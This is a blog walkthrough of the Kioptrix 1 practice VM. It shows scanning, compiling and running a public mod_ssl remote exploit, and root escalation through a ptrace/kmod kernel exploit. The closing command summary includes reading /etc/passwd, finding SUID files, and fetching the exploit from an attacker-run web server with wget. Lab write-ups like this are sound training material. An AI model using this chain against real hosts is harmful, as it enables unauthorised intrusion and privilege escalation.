LifesFun's 101

"The only true wisdom is in knowing you know nothing." - Socrates

Kioptrix 1 Walkthrough

29 Aug 2019

Kioptrix is a series of vulnerable machines hosted on Vulnhub. Each machine provides a different security challenge than the previous one and each machine (level) gets harder. Kioptrix series make perfect targets to practice enumeration, identify vulnerabilities, research exploits available thus sharpening your pentesting skills. This particular level involves a web vulnerability and a kernel vulnerability.

Vulnerable System : (Kioptrix #1)

Operating System : Red Hat Linux 7.3

Kernel : 2.4.7

Vulnerability Exploited : Apache mod_ssl/Apache-SSL Buffer Overflow Vulnerability

Exploit Used : Apache mod_ssl \< 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow

Proof of Concept Code :

Vulnerability Explained : A buffer overflow vulnerability exists in mod_ssl versions before 2.8.7. When mod_ssl attempts to cache a session that is too large the excessive code spills into the memory allowing a shell payload to be executed. The obtained shell will have privileges of the web user (apache), however this can allow for further exploitation.

Vulnerability fix : Update mod_ssl to version 2.8.7 or above. Implement patch management program.

Severity : High

Privilege Escalation Vulnerability : Linux Kernel Privileged Process Hijacking Vulnerability

Exploit Used : Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation

Proof of Concept Code :

Privilege Escalation Vulnerability Explained: Process Hijacking vulnerability uses ptrace() system call. It attaches itself to misconfigured root process and allows the attacker to escalate privileges.

Vulnerability fix : Update the kernel to the newest version possible. Implement patch management program.

Severity : High


  • Host Discovery (arpscan)
  • Port Scanning (nmap)
  • Web Port Enumeration (nikto, gobuster)
  • Discovered Apache mod_ssl Vulnerability (nikto)
  • Discovered Appropriate Exploit and Fixed the Exploit (searchsploit/exploit-db)
  • Low Privilige Shell Gained
  • Privilege Escalation Enumeration (uname, cat /etc/*-release)
  • Discovered Appropriate Exploit - ‘ptrace/kmod’ Local Privilege Escalation (searchsploit/exploit-db)
  • Compiled the Exploit and Gained Administrative Privileges

Information Gathering.


Discovering the vulnerable system with arp-scan -l:



All ports nmap scan: nmap-allports

*Note: Nmap -p- flag scans all TCP ports from 1 to 65535.

Nmap version and default script scan: nmap_sv_sc_scan *Note:

-p specifies the ports to scan

-sV flag attempts to determine service and version information for given ports

-sC flag utilizes a default set of nmap scripts

Web Ports Enumeration

Nikto enumeration of port 80: nikto_port_80 *Note: Nikto scans a web application for vulnerabilities.

Gobuster enumeration of port 80: gobuster_port_80

*Note: Gobuster discovers hidden web directories. -u flag is used to specify the url and -w flag is used to specify the wordlist to be used.

Browser enumeration of port 80: browser_port_80

Nikto enumeration of port 443 fails due incompatible SSL protocols, however the information we got from scanning port 80 seems to present the SSL vulnerabilities.


On most occasions this problem can be fixed by editing openssl.cnf file located at /etc/ssl/openssl.cnf in Kali Linux, however it did not work this time.

The usual work around is to downgrade MinProtocol parameter to TLSv1.0 and to comment out CipherString parameter as per screenshot below:


Gobuster enumeration of port 443:


*Note: -k flag is used to skip SSL certificate verification for HTTPS(port 443)

Browser enumeration of port 443:


The website seems to be the exact replica of what we found on port 80.

Vulnerability Identification

A specific line that catches attention in Nikto scan is: nikto_mod_ssl


Searchsploit tool can be used to search for vulnerability presented by Nikto in exploit-db database:


2 exploits were discovered, version 1 and version 2. Assuming that version 2 is newer, that's the exploit that will be used.

To get full path and URL references for the specific exploit -p \<exploit id\> flag can be used with searchsploit: searchsploit_764

-p flag also copies the exploit's path to clipboard, which makes it easier to copy and paste it when copying the file to the folder one is working in.


Cp is the copy command, followed by the path to the exploit, and the dot tells cp to copy the file to the current directory.

Exploit Reviewing, Debugging, Fixing and Compilation

Now it's time to compile and run the exploit.


As can be seen from the output there was a lot of errors compiling the exploit, which ultimately resulted in failure.

This happens with a lot of old exploits as the Operating Systems and their components change. In a lot of cases debugging and fixing the exploits yourself is needed or finding exploits that are updated or have been fixed by another good fella.

The mistake that has been made is the assumption that the exploit will work out of the box. The exploit file also has not been opened in order to see what it does.

Always open and get familiar with exploits to see exactly what they do and how they work. Exploit-db's exploits are generally safe, but you never know what you can find in the wild and what kind of consequences an unknown exploit can do to your systems.

Reviewing the exploit:


Right at the top there's a helpful note from exploit-db which gives us a link to a page that tells us how to update the exploit:

*Note: The exploit tells us to use -lcrypto flag when compiling the exploit. At first compilation attempt the -lcrypto flag was not used.

Let's follow the guide. (If nano is used as an editor alt+shift+3 will show you line numbers, if that makes following the guide easier)

First, new headers have to be added:


Following the URL has to be updated:


Next const need to be added to unsigned char *p, *end declaration of variables:


After doing so, save the exploit and exit to compile.


There are no errors anymore. The exploit was successfully compiled.

Checking the exploit requirements.


As can be see from the image above, the output provides us with Usage example and Offset's for numerous operating systems.

Nmap output provided the operating system information and apache version:


The list can be analyzed manually, though to make it easier grep can be used to find out which is the suitable option:


The exploit's output gets piped to grep, which looks for instance of Red Hat operating system. The output then gets piped to another grep which looks for apache version that was discovered.

This leaves 2 options, and now there is enough information to run the exploit.


Low Privilege Exploitation

Since the exploit uses SSL it needs to be launched against port 443.


The low privilege shell has now been obtained.

Privilege Escalation Enumeration

Now it's time for some basic enumeration in order to find out privilege escalation vector, starting with Operating System and Kernel information:


As can be seen from above, this is Red Hat Linux 7.2 (which has been already discovered) and kernel version 2.4.7.

ifconfig command did not work, meaning other commands (and exploits) might not work too due to the default path not being set. This can be fixed by exporting the PATH variable, as shown below.


Continue enumerating the system further.

cat /etc/passwd | grep bash will provide a list of users present on the system.”


find / -perm -u=s -type f 2>/dev/null will provide all files with SUID privileges:


By typing gcc, a compiler installation can be confirmed:


After doing quick enumeration the results can be looked over to find an exploit vector.

The first vector is kernel.

Privilege Escalation

Again, searchsploit can be used to find an appropriate kernel exploit:


Due to victim's system having a compiler, the exploit can be transferred to the attacker's webserver, downloaded to the victim's system and compiled on the system as show below.

On Kali the file is copied to the web server directory (do not forget to start the webserver with service apache2 start):


On the victim's system a world writeable folder should be found and switched into (most of the times /tmp or /dev/shm folders do the job). After that wget command is used to download the exploit from the attacker's machine and gcc command is used to compile the exploit.


Tada, root has been obtained.

Summary of the Commands Used

arp-scan -l

nmap -p-

nmap -sV -sC -p 22,80,111,139,443,1024

nikto -h

gobuster -u -w /usr/share/wordlists/dirb/common.txt

gobuster -k -u -w /usr/share/wordlists/dirb/common.txt

searchsploit mod_ssl 2.8.7

searchsploit -p 764

gcc 764.c -o exploit -lcrypto

./exploit | grep "RedHat" | grep "1.3.20"

./exploit 0x6b 80

uname -a

cat /etc/*-release

cat /etc/passwd | grep bash


find / -perm -u=s -type f 2>/dev/null


searchsploit Kernel 2.4. red hat

service apache2 start

searchsploit -p 3

cp /usr/share/exploitdb/exploits/linux/local/3.c .

wget [](

gcc 3.c -o exp



comments powered by Disqus